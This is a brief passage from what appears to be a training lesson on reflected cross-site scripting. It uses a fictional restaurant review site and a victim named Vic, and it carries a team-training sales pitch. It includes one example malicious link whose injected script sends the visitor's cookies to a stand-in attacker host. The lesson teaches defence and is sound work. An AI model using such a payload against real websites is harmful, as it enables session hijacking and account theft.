Lesson:
Reflected XSS
Public previewWant everyone on your software team to learn this? Get completion tracking and compliance reporting with Hacksplaining for Teams. Free 14-day trial.
Train my teamwww.welp.com?search=<script>window.location='www.haxxed.com?cookie='+document.cookie</script>

The indifferent restaurant review site
I guess you should search for food or something.

Vic clicks on the link. The page renders the search parameter in the HTML without escaping it
properly, which creates a new <script> tag in the browser.